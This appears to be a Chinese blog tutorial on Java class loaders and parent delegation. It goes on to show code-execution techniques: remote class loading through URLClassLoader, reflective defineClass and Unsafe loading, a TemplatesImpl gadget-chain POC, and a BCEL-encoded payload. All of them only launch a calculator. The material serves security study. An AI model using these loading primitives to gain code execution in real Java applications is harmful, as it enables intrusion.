类加载器及双亲委派
类加载器
作用
加载Class文件
ClassLoader 的工作如图所示 (偷个图)
启动类加载器(Bootstrap ClassLoader):
这个类加载器负责将\lib目录下的类库加载到虚拟机内存中,用来加载java的核心库,此类加载器并不继承于java.lang.ClassLoader,不能被java程序直接调用,代码是使用C++编写的.是虚拟机自身的一部分.
扩展类加载器(Extendsion ClassLoader):
这个类加载器负责加载\lib\ext目录下的类库,用来加载java的扩展库,开发者可以直接使用这个类加载器.
应用程序类加载器(Application ClassLoader):
这个类加载器负责加载用户类路径(CLASSPATH)下的类库,一般我们编写的java类都是由这个类加载器加载,这个类加载器是CLassLoader中的getSystemClassLoader()方法的返回值,所以也称为系统类加载器.一般情况下这就是系统默认的类加载器.
除此之外,我们还可以加入自己定义的类加载器,以满足特殊的需求,需要继承java.lang.ClassLoader类.
类加载器之间的层次关系如下图:
类加载器的核心方法
- loadClass(加载指定的Java类)
- findClass(查找指定的Java类)
- findLoadedClass(查找JVM已经加载过的类)
- defineClass(定义一个Java类)
- resolveClass(链接指定的Java类)
双亲委派机制
双亲委派模型过程
双亲委派模型的工作过程为:如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器去完成,每一个层次的加载器都是如此,因此所有的类加载请求都会传给顶层的启动类加载器,只有当父加载器反馈自己无法完成该加载请求(该加载器的搜索范围中没有找到对应的类)时,子加载器才会尝试自己去加载。
使用双亲委派模型的好处在于Java类随着它的类加载器一起具备了一种带有优先级的层次关系。例如类java.lang.Object,它存在在rt.jar中,无论哪一个类加载器要加载这个类,最终都是委派给处于模型最顶端的Bootstrap ClassLoader进行加载,因此Object类在程序的各种类加载器环境中都是同一个类。相反,如果没有双亲委派模型而是由各个类加载器自行加载的话,如果用户编写了一个java.lang.Object的同名类并放在ClassPath中,那系统中将会出现多个不同的Object类,程序将混乱。因此,如果开发者尝试编写一个与rt.jar类库中重名的Java类,可以正常编译,但是永远无法被加载运行。
双亲委派模型的系统实现
在java.lang.ClassLoader的loadClass()方法中,先检查是否已经被加载过,若没有加载则调用父类加载器的loadClass()方法,若父加载器为空则默认使用启动类加载器作为父加载器。如果父加载失败,则抛出ClassNotFoundException异常后,再调用自己的findClass()方法进行加载。
protected synchronized Class<?> loadClass(String name,boolean resolve)throws ClassNotFoundException{
//check the class has been loaded or not
Class c = findLoadedClass(name);
if(c == null){
try{
if(parent != null){
c = parent.loadClass(name,false);
}else{
c = findBootstrapClassOrNull(name);
}
}catch(ClassNotFoundException e){
//if throws the exception ,the father can not complete the load
}
if(c == null){
c = findClass(name);
}
}
if(resolve){
resolveClass(c);
}
return c;
}
注意,双亲委派模型是Java设计者推荐给开发者的类加载器的实现方式,并不是强制规定的。大多数的类加载器都遵循这个模型,但是JDK中也有较大规模破坏双亲模型的情况,例如线程上下文类加载器(Thread Context ClassLoader)的出现,具体分析可以参见周志明著《深入理解Java虚拟机》。
各场景下代码块加载顺序
代码块
-
- 静态代码块:static{}
- 构造代码块:{}
- 无参构造器:ClassName()
- 有参构造器:ClassName(String name)
各种场景
动态加载字节码
字节码的概念
Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中。
如图:
类加载器的原理
流程:
ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()
利用 URLClassLoader 加载远程 class 文件
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类。
file协议
javac Calc.java。将class文件移动到桌面。
package org.example;
import java.io.IOException;
// URLClassLoader 的 file 协议
public class Calc {
static {
try {
Runtime.getRuntime().exec("deepin-calculator");
} catch (IOException e){
e.printStackTrace();
}
}
}
编写UrlClassLoader。
package org.example;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 file 协议
public class FileRce {
public static void main(String[] args) throws Exception {
URLClassLoader urlClassLoader = new URLClassLoader
(new URL[]{new URL("file:////home//admin//Desktop//")});
Class calc = urlClassLoader.loadClass("org.example.Calc");
calc.newInstance();
}
}
弹出计算器
HTTP 协议
在class文件下面用python -m http.server 9999起一个服务。
package org.example;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 file 协议
public class FileRce {
public static void main(String[] args) throws Exception {
URL url = new URL("http://127.0.0.1:9999/");
URLClassLoader loader = new URLClassLoader(new URL[]{url});
Class clazz = loader.loadClass("org.example.Calc");
clazz.newInstance();
}
}
弹出计算器
file+jar 协议
jar -cvf Calc.jar Clac.class 打包jar包
package org.example;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 file 协议
public class FileRce {
public static void main(String[] args) throws Exception {
URL url = new URL("jar:file:////home//admin//Desktop//Calc.jar!/");
URLClassLoader loader = new URLClassLoader(new URL[]{url});
Class clazz = loader.loadClass("org.example.Calc");
clazz.newInstance();
}
}
弹出计算器
HTTP + jar 协议
python 起一个服务
package org.example;
import java.net.URL;
import java.net.URLClassLoader;
// URLClassLoader 的 file 协议
public class FileRce {
public static void main(String[] args) throws Exception {
URL url = new URL("jar:http://127.0.0.1:9999/Calc.jar!/");
URLClassLoader loader = new URLClassLoader(new URL[]{url});
Class clazz = loader.loadClass("org.example.Calc");
clazz.newInstance();
}
}
弹出计算器
利用 ClassLoader#defineClass 直接加载字节码
不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用。
- loadClass() 的作用是从已加载的类、父加载器位置寻找类(即双亲委派机制),在前面没有找到的情况下,调用当前ClassLoader的findClass()方法;
- findClass() 根据URL指定的方式来加载类的字节码,其中会调用defineClass();
- defineClass 的作用是处理前面传入的字节码,将其处理成对应的 Class 对象
所以可见,真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java默认的 ClassLoader#defineClass 是一个 native 方法,逻辑在 JVM 的C语言代码中。
defineClass方法调用如下。
name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。
protected final Class<?> defineClass(String name, byte[] b, int off, int len);
因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问。因此可以反射调用 defineClass() 方法进行字节码的加载,然后实例化之后即可弹 shell
首先需要获取 ClassLoader, 以下是常用几种获取 ClassLoader 的方式
ClassLoader loader = Thread.currentThread().getContextClassLoader();
ClassLoader loader = ClassLoader.getSystemClassLoader();
ClassLoader loader = this.getClass().getClassLoader();
payload
package org.example;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
// 利用 ClassLoader#defineClass 直接加载字节码
public class define {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/home/admin/Desktop/Calc.class")); // 字节码的数组
//System.out.println(code);
Class c = (Class) method.invoke(classLoader, "org.example.Calc", code, 0, code.length);
c.newInstance();
}
}
Unsafe 加载字节码
- Unsafe中也存在defineClass()方法,本质上也是 defineClass 加载字节码的方式。
虽然是public方法但是还是无法直接调用,需要反射调用
package org.example;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.ProtectionDomain;
public class UnsafeClassLoaderRce {
public static void main(String[] args) throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<Unsafe> unsafeClass = Unsafe.class;
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe classUnsafe = (Unsafe) unsafeField.get(null);
Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class,
int.class, int.class, ClassLoader.class, ProtectionDomain.class);
byte[] code = Files.readAllBytes(Paths.get("/home/admin/Desktop/Calc.class"));
Class calc = (Class) defineClassMethod.invoke(classUnsafe, "Calc", code, 0, code.length, classLoader, null);
calc.newInstance();
}
}
TemplatesImpl 加载字节码
因为 defineClass 的作用域往往都是不开放的, 攻击者一般很难利用到它, 所以接下来我们引入 TemplatesImpl 这条非常重要的利用链, 它是各大反序列化链 (cc, rome, fastjson) 利用的基础
TemplatesImpl 的全类名是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl, 其内部实现了一个TransletClassLoader
TransletClassLoader这个类继承了classloader,并且重写了defineClass。
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
可以看到 TransletClassLoader 的 defineClass 方法没有访问修饰符, 这样的话它的作用域就为包作用域, 即可以在同一个包内被调用
据此在 TemplatesImpl 内部寻找调用 defineClass 的方法
往上走TemplatesImpl的defineTransletClasses方法
再往上TemplatesImpl的getTransletInstance方法
这里getTransletClasses 和 getTransletIndex 虽然都调用了 defineTransletClasses , 但是它们在调用之后并没有进行任何操作, 那么最终被加载的类就无法初始化/实例化, 不符合要求
再往上TemplatesImpl的newTransformer方法,此时已经是public方法了外面可以直接调用,不需要再继续网上跟了
因此我们得到了一条完整的利用链
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
尝试用 TemplatesImpl#newTransformer() 构造一个简单的 POC
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
// TemplatesImpl 的字节码构造
public class TemplatesBytes extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException{}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
public TemplatesBytes() throws IOException{
super();
Runtime.getRuntime().exec("deepin-calculator");
}
}
这里的字节码必须继承AbstractTranslet,因为继承了这一抽象类,所以必须要重写一下里面的方法。
POC
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
// 主程序
public class TemplatesRce {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("/home/admin/Desktop/TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
//其中setFieldValue是利用反射给私有变量赋值如下
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
定义了一个设置私有属性的方法,命名为 setFieldValue,根据我们的链子,一个个看
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
主要三个私有类属性
setFieldValue(templates, "_name", "Calc");
这里的_name不能为null。继续跟进defineTransletClasses
这里_bytecodes不能为null。
_tfactory 需要是一个 TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是 null 会出错。
弹计算器成功
利用 BCEL ClassLoader 加载字节码
概念:
BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译 java 文件生成字节码; Utility 用于将原生的字节码转换成BCEL格式的字节码:
生成对应BCEL格式的字节码
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
public class BcelDemo {
public static void main(String[] args) throws Exception{
Class calc = Class.forName("org.example.Calc");
JavaClass cls = Repository.lookupClass(calc);
String code = Utility.encode(cls.getBytes(), true);
System.out.println(code);
}
}
通过 com.sun.org.apache.bcel.internal.util.ClassLoader 加载 class
package org.example;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BcelRce {
public static void main(String[] args) throws Exception {
String exp="$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$9b8$b1c$9c$G$C$e1$bb$e5$ab$85$80$E$bep$DqA$m$nLA$N$82$f3fY$85$F$c7$b6$9cM$95$7f$d43$XZq$e8$P$e8$8fB$cc$$$81$a2$WK$de$99y3$ef$cd$cc$ee$9f$c7$87$df$A$b6$b1$ea$c3$c3$94$8fi$ccx$985v$ce$c5$bc$8f$S$3e$ba$f8$e4b$81$a1$bc$ab$S$a5$f7$Y$8a$cd$f5$L$Gg$3f$bd$92$M$b5H$r$f2k$bf$db$96$f99o$c7$84$d4$a3T$f0$f8$82$e7$ca$c4C$d0$d1$d7$aagsy$t$94$D$de$cdb$Z$ee$f3X$ec0x$bb$o$kJ3$wmD7$fc$3b$PU$g$k$9d$k$M$84$cc$b4J$T$w$ab$b64$X$b7$t$3c$b3$924$j$83$dfJ$fb$b9$90$87$ca$b4$a8$Y$b9$z$c3$NP$81$efb1$c0$S$96$Z$c6$ae$a4$ccT$b2IS$89$7e$ccu$9a$HX$c1g$86$f1w$g$F$f8$C$9fa$f4$df9$J$b2$d51O$3a$e1i$fbF$KM$ca$7f$a1o$fdD$ab$$$8d$e1w$a4$7e$N$g$cd$f5$e8$bf$g$da$c5$91$DI$92k$cd7$d9$96$ceU$d2$d9yK8$cbS$n$7b$3d$o$d42Jj$7b$D$e79$X$926s$e9$c5$ccW$A3$fb$d29BQH$96$91$zm$fc$E$bb$b3$e9$80$ce$f23$88$w$9d$c1$d0$ff$80$gY$P$a3$afdn$c5$80$fa$_$U$ea$c5$7b8$97$3f$e0$jo$dc$a3$7cg$f1$KqK$uZ$c5I$f2$M$bbBLs$e1UR$Z$p$ef$a5C$V$O$c5u$8a$c6$e9wQ$88$5cL8$94h$d8$a1$s$9f$Asme$a1$7b$C$A$A";
ClassLoader loader = new ClassLoader();
Class clazz = loader.loadClass(exp);
clazz.newInstance();
}
}